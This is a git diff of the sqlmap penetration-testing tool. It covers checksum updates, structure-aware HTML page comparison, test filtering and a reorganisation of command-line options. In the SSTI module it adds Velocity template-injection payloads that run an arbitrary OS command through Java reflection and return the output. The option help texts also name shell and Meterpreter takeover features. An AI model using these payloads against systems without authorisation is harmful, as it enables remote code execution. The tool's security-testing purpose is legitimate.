diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt
index f5165aed776..c71f09fc94a 100644
--- a/data/txt/sha256sums.txt
+++ b/data/txt/sha256sums.txt
@@ -84,7 +84,7 @@ c8d467837c8567b61a11e2dfd75a2d8305a8b317041ee81eda6d0e47609dabb7 data/xml/paylo
0648264166455010921df1ec431e4c973809f37ef12cbfea75f95029222eb689 data/xml/payloads/stacked_queries.xml
379fc92f2dadd948f401e17490d8a8f03a1988d817323cbe1feff5fe87726079 data/xml/payloads/time_blind.xml
40a4878669f318568097719d07dc906a19b8520bc742be3583321fc1e8176089 data/xml/payloads/union_query.xml
-6eca98949c361bbcf5edd5e24dcf001dbaee5b37b244978df7e319cf48dac514 data/xml/queries.xml
+45aa5280edc0412a217498bd229651ff9c55afab44d555507ee5bdc27531de82 data/xml/queries.xml
127799739f9aeabca367027197f3c0240f141303bd7499928ccfa1443bf148c7 doc/ARCHITECTURE.md
0f5a9c84cb57809be8759f483c7d05f54847115e715521ac0ecf390c0aa68465 doc/AUTHORS
ce20a4b452f24a97fde7ec9ed816feee12ac148e1fde5f1722772cc866b12740 doc/CHANGELOG.md
@@ -162,13 +162,13 @@ df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/vulnserver/__init__.py
617cec1b731e0baacafa6f58c2f56a85b6128d1416627cc1b2f61519c8539a2e extra/vulnserver/vulnserver.py
a2bf70d7f87c3a4e0675c0bad54119a4e04efa6ea2730a8338d5aebcd995630e lib/controller/action.py
-9137a8f7368496c84b21944f6b94c28004d3a2a849ac9c8e0b20e294e4c4a93a lib/controller/checks.py
-4598de22ed3df63432e9643ba48533a01bec9f0b253c3a11f322ccedaef353f0 lib/controller/controller.py
+f4fb3839e5accd1b58b34226e4b26f5079d9696e24d335d37d870cd5e62d1e80 lib/controller/checks.py
+666935b658074dc9c42153622b75d4ec7bfe56fbe0742de827a5d30a1a0f9d96 lib/controller/controller.py
d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller/handler.py
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py
9c5764c92ce536d1f0f96200359ee5ef1f37f9128769bf990cb77f1d1f8e17b1 lib/core/agent.py
c51c33501cc905586a9aaac93b06f2ac6f71628d032a7dc39fd0ef05d7ee3856 lib/core/bigarray.py
-122767794156afa41b19baa706ad4c124eef6eaf73ed8fd208d8f634e97e82eb lib/core/common.py
+d143df718fbaacb617b6046c73cf4e47932e1a25928a4e1ecb87ea77a3b154ed lib/core/common.py
8f1272487e1adfcc8c755a2f56f0c6d21eac5e685a73a9a159482f9dc9142bc5 lib/core/compat.py
a683d0ad9ba543587382c4903d28db610ae20394fcf9045a68b2ab54a39381ae lib/core/convert.py
c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py
@@ -181,26 +181,26 @@ f8de57606325456928e46ae2896f5f8bbec9ad18b1c644b492a566fa992216f6 lib/core/decor
5387168e5dfedd94ae22af7bb255f27d6baaca50b24179c6b98f4f325f5cc7b4 lib/core/exception.py
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py
914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py
-33ed53b263fa766a808be6797dd812822bb115d3b9db6e3a34763f500f5359e8 lib/core/optiondict.py
-e033b20a0f7821797a10f4bf4235723f38c7db551c611fbb713faa621b123c4a lib/core/option.py
+5a576f802f1298d0aa357e766ae6502fa53cacbbe0b1d328b7410a8b20a885b2 lib/core/optiondict.py
+98d3d61278794705c7039e40fab66a626e8d6ab765383c5379cec7a066b09301 lib/core/option.py
21b2b1745107c211fc7593923a3da7a808d40763c00091c28de5f7c129bcf3bc lib/core/patch.py
49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py
0c36a65b6237732eb001d333f80f0c58c088ff01ae80cf07e4dcc6da2a806364 lib/core/readlineng.py
9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py
0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py
888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py
-0a99ba2412606979d02c25ab63d0d92bfe3f2a262d6405a740841f5df83970ba lib/core/settings.py
+a2fb281b59c4526613f22fc0e994b68db91c1263db415aa86002ec4e20773639 lib/core/settings.py
c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py
a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py
19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py
-073cc21334519624288bbf25060ab4e8102cbe6ec15e706992e639716075af8d lib/core/testing.py
+540443bdc23965be80d80185d7f3b54b632228af220dc2cb2e9cbb3f4fd4cea4 lib/core/testing.py
95656c44bab1771f4808030dd6a17eae5b129cb1234443f00b19695c7b712b86 lib/core/threads.py
b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unescaper.py
53e396902cb2546eaa09e77073fcba8be8827ee9ce055cfc899e81b0e6ad4d6d lib/core/update.py
2400e465fa4d13e4c32795910878c71ff212e4361b46428d57ce43983f5e997c lib/core/wordlist.py
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/__init__.py
54bfd31ebded3ffa5848df1c644f196eb704116517c7a3d860b5d081e984d821 lib/parse/banner.py
-316cdcb3d8d839dab639ed7eb4935780375d49c93371edbd6224976cbb968c2e lib/parse/cmdline.py
+403ebb5b54531cf907a30ed439fc881cf3cbae68c3a4ec600c75312e5f6b9001 lib/parse/cmdline.py
02d82e4069bd98c52755417f8b8e306d79945672656ac24f1a45e7a6eff4b158 lib/parse/configfile.py
c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/handler.py
5c9a9caee948843d5537745640cc7b98d70a0412cc0949f59d4ebe8b2907c06c lib/parse/headers.py
@@ -211,7 +211,7 @@ c2f34e27578742e729c2fa9c1d4f0a0d8f8f7f4cf0fc14c62ec817a260c71dec lib/parse/site
1be3da334411657461421b8a26a0f2ff28e1af1e28f1e963c6c92768f9b0847c lib/request/basicauthhandler.py
369484a2999d29f49bf839a329d1686ed94f6ea27c695e027fe08c8da51f30a3 lib/request/basic.py
bc61bc944b81a7670884f82231033a6ac703324b34b071c9834886a92e249d0e lib/request/chunkedhandler.py
-d4bb0869b03602a0c8f9e0e0fd217753f14ddadf848fc9f3c65a74d03feb9958 lib/request/comparison.py
+9c0dccc1cee66d38478aaf75a7c513d0d136d50a90b15fed146faa1653899fe1 lib/request/comparison.py
729e07a2ca6b1d83563e9c6dc5a884d1b664c1764be06776ea93bde305164f0c lib/request/connect.py
8e06682280fce062eef6174351bfebcb6040e19976acff9dc7b3699779783498 lib/request/direct.py
a6b37b436838caeb197fea858d0a39fadbff4736256e741b5fcec1f28fcf1ce0 lib/request/dns.py
@@ -245,9 +245,9 @@ c3e5cf7e5e35ae5fd86b63a515b37e6f06e61c70d2690252f2ee8373aa16637e lib/techniques
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/ldap/__init__.py
039d64a610b0e92e953fa6eaa740e7c2867e34e12b82e0113204e8f6100dc368 lib/techniques/ldap/inject.py
44401cad3e39ae9fb899ed5d0e2fdd0879561de05c3117f17f3b0db54f4e3724 lib/techniques/nosql/__init__.py
-e465d9cb6ac83dafe38aeec851856183b93f5aa19f628fb64371a290797e2518 lib/techniques/nosql/inject.py
+bde75d41ac3e5747b96d2af4c33922573158cb43b48714a28490d6720dd85d89 lib/techniques/nosql/inject.py
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/ssti/__init__.py
-29ab841b6129106f19db692a5a30f90a5e758d6cd24d47da0a35c8090910ae18 lib/techniques/ssti/inject.py
+14637b64878248e5965887b07aa68e62615dac88e2ffc6c3a581430bdd4e309e lib/techniques/ssti/inject.py
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/union/__init__.py
ceec65f8cb7c3254c4671351c837418c76ac5bc55ccbc40779f67231b54d7085 lib/techniques/union/test.py
c65766f71e285fc85cdf58e7448c4c1d015af2a9dbb44fa3b665a9f13362fbcc lib/techniques/union/use.py
@@ -429,7 +429,7 @@ a5ec593a2e57d658e3448dd108781a3761484c41c0f67f6a3db59d9def57d71a plugins/dbms/o
a74fc203fbcc1c4a0656f40ed51274c53620be095e83b3933b5d2e23c6cea577 plugins/dbms/oracle/takeover.py
cc55a6bb81c182fca0482acd77ff065c441944ed7a7ef28736e4dff35d9dce5b plugins/dbms/postgresql/connector.py
81a6554971126121465060fd671d361043383e2930102e753c1ad5a1bea0abf6 plugins/dbms/postgresql/enumeration.py
-bdb13225f822227c32051a296918b3ed423a0644ce0c962db13a0dc0e9636395 plugins/dbms/postgresql/filesystem.py
+dcb7c9737129ae5b1d054be767a4ed3851fc2a3e50fbd1ab884552ba9dce74fb plugins/dbms/postgresql/filesystem.py
56a3c0b692187aef120fedb639e10cecf02fbf46e9625d327a0cd4ae07c6724e plugins/dbms/postgresql/fingerprint.py
9c14f8ad202051f3f7b72147bae891abb9aa848a6645aa614a051314ac91891a plugins/dbms/postgresql/__init__.py
4fce63dd766a35b7273351df2de706c37a0392479578705853b4333c119f2270 plugins/dbms/postgresql/syntax.py
@@ -495,14 +495,14 @@ a967f4ebd101c68a5dcc10ff18c882a8f44a5c3bf06613d951a739ecc3abb9b3 plugins/generi
6f77b5cae6781a746f8490fe3e85456e575165b38edd280a69c9327af8bee85f plugins/generic/databases.py
13086bfae6022edc2bbd35512fa3bda3402c269e9d6148ffe386ba5b8b4ba461 plugins/generic/entries.py
d2de7fc135cf0db3eb4ac4a509c23ebec5250a5d8043face7f8c546a09f301b5 plugins/generic/enumeration.py
-a02ac4ebc1cc488a2aa5ae07e6d0c3d5064e99ded7fd529dfa073735692f11df plugins/generic/filesystem.py
+8d5e3eacbd2a3cfec63fcf5bdcc8efc77656f29b11ca652c4ee60c72daea04ab plugins/generic/filesystem.py
efd7177218288f32881b69a7ba3d667dc9178f1009c06a3e1dd4f4a4ee6980db plugins/generic/fingerprint.py
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 plugins/generic/__init__.py
ba07e54265cf461aed678df49fe3550aec90cb6d8aa9387458bd4b7064670d00 plugins/generic/misc.py
7c1b1f91925d00706529e88a763bc3dabafaf82d6dbc01b1f74aeef0533537a1 plugins/generic/search.py
da8cc80a09683c89e8168a27427efecda9f35abc4a23d4facd6ffa7a837015c4 plugins/generic/syntax.py
cedf45d33461bd7e5400d06611a63c8a4ffae1a4510030c5696b9d46ed6a9883 plugins/generic/takeover.py
-45bfd00f09557e20115e6ce7fb52ff507930d705db215e535f991e5fbf7464de plugins/generic/users.py
+38becf127a8bb4a90befd4c7e12ef1ad8e21374c91c75bb640d73ab86cc1eeb9 plugins/generic/users.py
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 plugins/__init__.py
5d72f0af46ff3c9e3fe80300e83cb78749132278e8db88915764a94d7130a04c README.md
46517f1444c202710e388873960130850ed092e17bd6f4dd5f2fedea3dbb8ffc sqlmapapi.py
@@ -643,7 +643,7 @@ cec98d72992c0799229a780fa7f0d7f3fb01ec2d708187ce0e4a05c8612f291b tests/test_saf
a1c6cda1e5b483f61e6a4f8ddd0b06a15ddaa3fd2119bfb9dbd9cc970d7a751d tests/test_settings_regex.py
29d0278e3718b0fee422d3f6bb85ca02560138d48cd76f9fe1f35ac19d96071b tests/test_sgmllib.py
d3d991331096e16e5019de3d652e9fff92c09bd9f97c50b1c2c3ceb0ed49b17e tests/test_sqlparse.py
-4a9409a070770cc6300ed2b0c954254273479252fa602ffd19d78917f895756c tests/test_ssti.py
+412a61053c2531cc0380b34dfd01d52bd118f6a6473728c069c467054c7e3c8e tests/test_ssti.py
8bcbf1091134dd0a62f6201f8b3645ed87b5ff2f7ba40a87231a29dac412591f tests/test_strings.py
8f1c5f0f337ecd26d35c5551060034e0aa33a62cce5385fc1227fdc485f6383e tests/test_tamper.py
67472bd71c20782cc0f738e2c2e674c29d6985669e14d15b69baef7d0e33de62 tests/test_target_parsing.py
diff --git a/data/xml/queries.xml b/data/xml/queries.xml
index 9cfbce4e810..449b6cb9be0 100644
--- a/data/xml/queries.xml
+++ b/data/xml/queries.xml
@@ -464,16 +464,16 @@
-
-
+
+
-
-
+
+
diff --git a/lib/controller/checks.py b/lib/controller/checks.py
index 4589599de44..6a7043cc922 100644
--- a/lib/controller/checks.py
+++ b/lib/controller/checks.py
@@ -16,6 +16,7 @@
from lib.core.agent import agent
from lib.core.common import Backend
from lib.core.common import extractRegexResult
+from lib.core.common import extractStructuralTokens
from lib.core.common import extractTextTagContent
from lib.core.common import filterNone
from lib.core.common import findDynamicContent
@@ -1390,7 +1391,26 @@ def checkStability():
raise SqlmapNoneDataException(errMsg)
else:
- checkDynamicContent(firstPage, secondPage)
+ # Before engaging the (lossy) dynamic-content removal / '--text-only' escalation, check
+ # whether the page is structurally stable (identical tag/class/id skeleton across the two
+ # requests) despite differing text. If so, base the comparison on that value-free structure
+ # so that dynamic content (e.g. per-render result rows) does not mask an injection. This is
+ # the HTML counterpart of the structure-aware JSON comparison
+ if firstPage and secondPage and extractStructuralTokens(firstPage) == extractStructuralTokens(secondPage):
+ kb.pageStructurallyStable = True
+
+ if kb.nullConnection:
+ debugMsg = "turning off NULL connection "
+ debugMsg += "support because of structural page comparison"
+ logger.debug(debugMsg)
+
+ kb.nullConnection = None
+
+ infoMsg = "target URL content is not byte-stable but structurally stable; sqlmap "
+ infoMsg += "will base the page comparison on the page structure"
+ logger.info(infoMsg)
+ else:
+ checkDynamicContent(firstPage, secondPage)
return kb.pageStable
diff --git a/lib/controller/controller.py b/lib/controller/controller.py
index 0ce4960a208..67b9278b1be 100644
--- a/lib/controller/controller.py
+++ b/lib/controller/controller.py
@@ -41,6 +41,7 @@
from lib.core.common import removePostHintPrefix
from lib.core.common import safeCSValue
from lib.core.common import showHttpErrorCodes
+from lib.core.common import singleTimeWarnMessage
from lib.core.common import urldecode
from lib.core.common import urlencode
from lib.core.compat import xrange
@@ -528,6 +529,9 @@ def start():
checkWaf()
+ if any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti)) and (conf.reportJson or conf.resultsFile):
+ singleTimeWarnMessage("'--report-json'/'--results-file' do not (yet) capture non-SQL technique (--graphql/--nosql/--ldap/--xpath/--ssti) findings; these are reported on the console only")
+
if conf.graphql:
from lib.techniques.graphql.inject import graphqlScan
graphqlScan()
diff --git a/lib/core/common.py b/lib/core/common.py
index a8eca14ad4d..937064d7054 100644
--- a/lib/core/common.py
+++ b/lib/core/common.py
@@ -176,6 +176,9 @@
from lib.core.settings import SENSITIVE_DATA_REGEX
from lib.core.settings import SENSITIVE_OPTIONS
from lib.core.settings import STDIN_PIPE_DASH
+from lib.core.settings import STRUCTURAL_CLASS_REGEX
+from lib.core.settings import STRUCTURAL_ID_REGEX
+from lib.core.settings import STRUCTURAL_TAG_REGEX
from lib.core.settings import SUPPORTED_DBMS
from lib.core.settings import TEXT_TAG_REGEX
from lib.core.settings import TIME_STDEV_COEFF
@@ -3227,6 +3230,45 @@ def extractTextTagContent(page):
return filterNone(_.group("result").strip() for _ in re.finditer(TEXT_TAG_REGEX, page))
+def extractStructuralTokens(page):
+ """
+ Returns a set of value-free structural tokens (tag names and class/id attribute hooks) of a
+ (HTML) page, discarding all textual content. Used for structure-aware page comparison when the
+ page is byte-unstable but structurally stable (e.g. dynamic result rows in a fixed layout), so
+ that dynamic text does not perturb the comparison while a structural change (e.g. a results
+ table appearing or disappearing) still does. HTML counterpart of jsonMinimize()
+
+ >>> sorted(extractStructuralTokens(u'x
')) == [u'cls:div.a', u'cls:div.b', u'id:div#g', u'tag:div', u'tag:span']
+ True
+ >>> extractStructuralTokens(u'') == set([u'tag:table', u'tag:tr', u'tag:td'])
+ True
+ >>> extractStructuralTokens(u'') == set()
+ True
+ """
+
+ page = page or ""
+
+ if REFLECTED_VALUE_MARKER in page:
+ page = re.sub(r"(?i)<[^>]*%s[^>]*>" % REFLECTED_VALUE_MARKER, " ", page)
+
+ page = re.sub(r"(?si)||", " ", page)
+
+ retVal = set()
+
+ for match in re.finditer(STRUCTURAL_TAG_REGEX, page):
+ tag = match.group(1).lower()
+ attrs = match.group(2) or ""
+ retVal.add("tag:%s" % tag)
+ for _ in re.finditer(STRUCTURAL_CLASS_REGEX, attrs):
+ for value in (_.group(1) or _.group(2) or _.group(3) or "").split():
+ retVal.add("cls:%s.%s" % (tag, value))
+ for _ in re.finditer(STRUCTURAL_ID_REGEX, attrs):
+ value = (_.group(1) or _.group(2) or _.group(3) or "").strip()
+ if value:
+ retVal.add("id:%s#%s" % (tag, value))
+
+ return retVal
+
def trimAlphaNum(value):
"""
Trims alpha numeric characters from start and ending of a given value
diff --git a/lib/core/option.py b/lib/core/option.py
index 332053b1348..f7d26907483 100644
--- a/lib/core/option.py
+++ b/lib/core/option.py
@@ -2210,6 +2210,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.pageTemplates = dict()
kb.pageEncoding = DEFAULT_PAGE_ENCODING
kb.pageStable = None
+ kb.pageStructurallyStable = None
kb.partRun = None
kb.permissionFlag = False
kb.place = None
diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py
index 69d76f70443..7b05a06525c 100644
--- a/lib/core/optiondict.py
+++ b/lib/core/optiondict.py
@@ -173,8 +173,6 @@
"lastChar": "integer",
"sqlQuery": "string",
"sqlShell": "boolean",
- "sstiQuery": "string",
- "sstiShell": "boolean",
"sqlFile": "string",
},
diff --git a/lib/core/settings.py b/lib/core/settings.py
index 413ffb4cfaf..43667bf80ef 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -20,7 +20,7 @@
from thirdparty import six
# sqlmap version (...)
-VERSION = "1.10.6.194"
+VERSION = "1.10.6.199"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
@@ -180,6 +180,13 @@
# Regular expression used for extracting content from "textual" tags
TEXT_TAG_REGEX = r"(?si)<(abbr|acronym|b|blockquote|br|center|cite|code|dt|em|font|h[1-6]|i|li|p|pre|q|strong|sub|sup|td|th|title|tt|u)(?!\w).*?>(?P[^<]+)"
+# Regular expressions used for extracting a value-free structural skeleton of a (HTML) page (tag
+# names and class/id attribute hooks), for structure-aware comparison of pages whose textual
+# content is dynamic but whose layout is stable
+STRUCTURAL_TAG_REGEX = r"(?si)<\s*([a-z][a-z0-9]*)((?:\s+[^<>]*)?)/?>"
+STRUCTURAL_CLASS_REGEX = r"""(?si)\bclass\s*=\s*(?:"([^"]*)"|'([^']*)'|([^\s"'<>]+))"""
+STRUCTURAL_ID_REGEX = r"""(?si)\bid\s*=\s*(?:"([^"]*)"|'([^']*)'|([^\s"'<>]+))"""
+
# Regular expression used for recognition of IP addresses
IP_ADDRESS_REGEX = r"\b(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\b"
diff --git a/lib/core/testing.py b/lib/core/testing.py
index ba7d48139ec..e1414e43eca 100644
--- a/lib/core/testing.py
+++ b/lib/core/testing.py
@@ -32,6 +32,7 @@
from lib.core.convert import encodeBase64
from lib.core.convert import getBytes
from lib.core.convert import getText
+from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import paths
@@ -114,6 +115,20 @@ def vulnTest():
TESTS = tuple(_ for _ in TESTS if "--ssti" not in _[0])
logger.warning("skipping the SSTI vuln-test entry ('jinja2' not available)")
+ # --test-filter / --test-skip narrow a (slow) full run to just the entries touching a change:
+ # the needle is matched case-insensitively against each entry's command line and its expected
+ # checks (e.g. '--vuln-test --test-filter=ssti' runs only the SSTI entry).
+ def _entryMatches(entry, needle):
+ needle = needle.lower()
+ return needle in entry[0].lower() or any(needle in getText(_).lower() for _ in entry[1])
+
+ if conf.get("testFilter"):
+ TESTS = tuple(_ for _ in TESTS if _entryMatches(_, conf.testFilter))
+ logger.info("'--test-filter' selected %d vuln-test entr%s" % (len(TESTS), "y" if len(TESTS) == 1 else "ies"))
+ if conf.get("testSkip"):
+ TESTS = tuple(_ for _ in TESTS if not _entryMatches(_, conf.testSkip))
+ logger.info("'--test-skip' left %d vuln-test entr%s" % (len(TESTS), "y" if len(TESTS) == 1 else "ies"))
+
retVal = True
count = 0
cleanups = []
diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py
index 3a134484c78..086ffd903cf 100644
--- a/lib/parse/cmdline.py
+++ b/lib/parse/cmdline.py
@@ -133,7 +133,7 @@ def cmdLineParser(argv=None):
help="Parse target(s) from Burp or WebScarab proxy log file")
target.add_argument("-m", dest="bulkFile",
- help="Scan multiple targets given in a textual file ")
+ help="Scan multiple targets given in a textual file")
target.add_argument("-r", dest="requestFile",
help="Load HTTP request from a file")
@@ -335,7 +335,7 @@ def cmdLineParser(argv=None):
help="Skip testing for given parameter(s)")
injection.add_argument("--skip-static", dest="skipStatic", action="store_true",
- help="Skip testing parameters that not appear to be dynamic")
+ help="Skip testing parameters that do not appear to be dynamic")
injection.add_argument("--param-exclude", dest="paramExclude",
help="Regexp to exclude parameters from testing (e.g. \"ses\")")
@@ -442,21 +442,6 @@ def cmdLineParser(argv=None):
techniques.add_argument("--second-req", dest="secondReq",
help="Load second-order HTTP request from file")
- techniques.add_argument("--graphql", dest="graphql", action="store_true",
- help="Test for GraphQL injection")
-
- techniques.add_argument("--ldap", dest="ldap", action="store_true",
- help="Test for LDAP injection")
-
- techniques.add_argument("--nosql", dest="nosql", action="store_true",
- help="Test for NoSQL injection")
-
- techniques.add_argument("--xpath", dest="xpath", action="store_true",
- help="Test for XPath injection")
-
- techniques.add_argument("--ssti", dest="ssti", action="store_true",
- help="Test for server-side template injection")
-
# Fingerprint options
fingerprint = parser.add_argument_group("Fingerprint", "These options can be used to perform a back-end database management system version fingerprint")
@@ -515,7 +500,7 @@ def cmdLineParser(argv=None):
help="Dump DBMS database table entries")
enumeration.add_argument("--dump-all", dest="dumpAll", action="store_true",
- help="Dump all DBMS databases tables entries")
+ help="Dump entries of all DBMS database tables")
enumeration.add_argument("--search", dest="search", action="store_true",
help="Search column(s), table(s) and/or database name(s)")
@@ -571,12 +556,6 @@ def cmdLineParser(argv=None):
enumeration.add_argument("--sql-shell", dest="sqlShell", action="store_true",
help="Prompt for an interactive SQL shell")
- enumeration.add_argument("--ssti-query", dest="sstiQuery",
- help="SSTI expression to evaluate in-band on the vulnerable parameter")
-
- enumeration.add_argument("--ssti-shell", dest="sstiShell", action="store_true",
- help="Prompt for an interactive SSTI expression shell")
-
enumeration.add_argument("--sql-file", dest="sqlFile",
help="Execute SQL statements from given file(s)")
@@ -626,11 +605,10 @@ def cmdLineParser(argv=None):
help="Prompt for an OOB shell, Meterpreter or VNC")
takeover.add_argument("--os-smbrelay", dest="osSmb", action="store_true",
- help="One click prompt for an OOB shell, Meterpreter or VNC")
+ help="One-click prompt for an OOB shell, Meterpreter or VNC")
takeover.add_argument("--os-bof", dest="osBof", action="store_true",
- help="Stored procedure buffer overflow "
- "exploitation")
+ help="Stored procedure buffer overflow exploitation")
takeover.add_argument("--priv-esc", dest="privEsc", action="store_true",
help="Database process user privilege escalation")
@@ -788,6 +766,24 @@ def cmdLineParser(argv=None):
general.add_argument("--web-root", dest="webRoot",
help="Web server document root directory (e.g. \"/var/www\")")
+ # Non-SQL injection options
+ nonsql = parser.add_argument_group("Non-SQL injection", "These options can be used to test for non-SQL injection types")
+
+ nonsql.add_argument("--graphql", dest="graphql", action="store_true",
+ help="Test for GraphQL injection")
+
+ nonsql.add_argument("--ldap", dest="ldap", action="store_true",
+ help="Test for LDAP injection")
+
+ nonsql.add_argument("--nosql", dest="nosql", action="store_true",
+ help="Test for NoSQL injection")
+
+ nonsql.add_argument("--xpath", dest="xpath", action="store_true",
+ help="Test for XPath injection")
+
+ nonsql.add_argument("--ssti", dest="ssti", action="store_true",
+ help="Test for server-side template injection")
+
# Miscellaneous options
miscellaneous = parser.add_argument_group("Miscellaneous", "These options do not fit into any other category")
diff --git a/lib/request/comparison.py b/lib/request/comparison.py
index 1206e6814de..e3278297395 100644
--- a/lib/request/comparison.py
+++ b/lib/request/comparison.py
@@ -10,6 +10,7 @@
import re
from lib.core.common import extractRegexResult
+from lib.core.common import extractStructuralTokens
from lib.core.common import getFilteredPageContent
from lib.core.common import jsonMinimize
from lib.core.common import listToStrValue
@@ -177,6 +178,15 @@ def _comparison(page, headers, code, getRatioValue, pageLength):
seq1 = jsonMinimize(kb.pageTemplate)
seq2 = jsonMinimize(rawPage)
+ # Structure-aware comparison for a structurally-stable (but byte-unstable) HTML page:
+ # compare the value-free tag/class/id skeleton so dynamic text does not perturb the ratio
+ # while a structural change (e.g. a results table appearing/disappearing) still does
+ if seq1 is None and kb.pageStructurallyStable and not (conf.titles or conf.textOnly or kb.nullConnection):
+ _ = "\n".join(sorted(extractStructuralTokens(kb.pageTemplate)))
+ if _: # only engage when the page actually exposes structure (HTML tags); tagless content falls back to text
+ seq1 = _
+ seq2 = "\n".join(sorted(extractStructuralTokens(rawPage)))
+
if seq1 is None or seq2 is None:
if conf.titles:
seq1 = extractRegexResult(HTML_TITLE_REGEX, seqMatcher.a)
diff --git a/lib/techniques/nosql/inject.py b/lib/techniques/nosql/inject.py
index 0b262e31822..ceb1807ea4d 100644
--- a/lib/techniques/nosql/inject.py
+++ b/lib/techniques/nosql/inject.py
@@ -692,6 +692,9 @@ def nosqlScan():
tested = found = 0
for place in (_ for _ in NOSQL_PLACES if _ in conf.paramDict):
+ # mirror sqlmap's SQL place level-gating: Cookie parameters are only tested at --level >= 2
+ if place == PLACE.COOKIE and conf.level < 2:
+ continue
for parameter in list(conf.paramDict[place].keys()):
key = _jsonKey(parameter)
@@ -769,3 +772,5 @@ def nosqlScan():
if not found:
warnMsg = "no parameter appears to be injectable via NoSQL injection (%d tested)" % tested
logger.warning(warnMsg)
+
+ logger.info("NoSQL scan complete")
diff --git a/lib/techniques/ssti/inject.py b/lib/techniques/ssti/inject.py
index 93251af7e32..736a70b5166 100644
--- a/lib/techniques/ssti/inject.py
+++ b/lib/techniques/ssti/inject.py
@@ -59,12 +59,6 @@ def _arithmeticPayload(fmt, a, b):
return fmt.replace("%d", str(a), 1).replace("%d", str(b), 1)
-def _expressionPayload(fmt, value):
- # Same rationale as _arithmeticPayload(): literal %s substitution so '%'-delimited engines
- # (notably ERB) can wrap expressions instead of crashing on fmt % value.
- return fmt.replace("%s", value, 1)
-
-
def _degroup(text):
# Strip digit-group (thousands) separators so an arithmetic result still matches when the
# engine formats large numbers with grouping (e.g. FreeMarker renders 234*567 as "132,678").
@@ -142,15 +136,21 @@ def _degroup(text):
"#if(true) TRUE #end", "#if(false) TRUE #else FALSE #end", "TRUE", "FALSE",
"#* velocity *#", "",
"", # no generic expression wrapper
- # Velocity: full reflection chain (pre-2.3 only; patched by CVE-2020-13936)
- (("#set($str=$class.inspect('java.lang.String').type)\n"
- "#set($chr=$class.inspect('java.lang.Character').type)\n"
- "#set($ex=$class.inspect('java.lang.Runtime').type.getRuntime().exec('{CMD}'))\n"
- "$ex.waitFor()\n"
- "#set($out=$ex.getInputStream())\n"
- "#foreach($i in [1..$out.available()])\n"
- "$str.valueOf($chr.toChars($out.read()))\n"
- "#end", "reflection chain"),)),
+ # Velocity (pre-2.3; patched by CVE-2020-13936). Primary: portable String.class.forName()
+ # reflection chain - needs NO velocity-tools $class in the context - reading the process
+ # stdout byte-by-byte so the command output is rendered in-band. Fallback: the velocity-tools
+ # ClassTool ($class) form, for apps that expose it.
+ (("#set($x='')#set($rt=$x.class.forName('java.lang.Runtime'))"
+ "#set($chr=$x.class.forName('java.lang.Character'))"
+ "#set($str=$x.class.forName('java.lang.String'))"
+ "#set($ex=$rt.getRuntime().exec('{CMD}'))#set($w=$ex.waitFor())"
+ "#set($out=$ex.getInputStream())"
+ "#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end", "String.class.forName chain"),
+ ("#set($str=$class.inspect('java.lang.String').type)"
+ "#set($chr=$class.inspect('java.lang.Character').type)"
+ "#set($ex=$class.inspect('java.lang.Runtime').type.getRuntime().exec('{CMD}'))#set($w=$ex.waitFor())"
+ "#set($out=$ex.getInputStream())"
+ "#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end", "ClassTool chain"))),
Engine("Spring EL / Thymeleaf", "java",
"${", "}",
r"(?i)(?:org\.springframework\.expression\.\w+|org\.thymeleaf\.\w+|SpelEvaluationException|TemplateProcessingException|ExpressionParsingException|ValidationFailedException)",
@@ -588,6 +588,9 @@ def sstiScan():
found = []
for place in (_ for _ in SSTI_PLACES if _ in conf.paramDict):
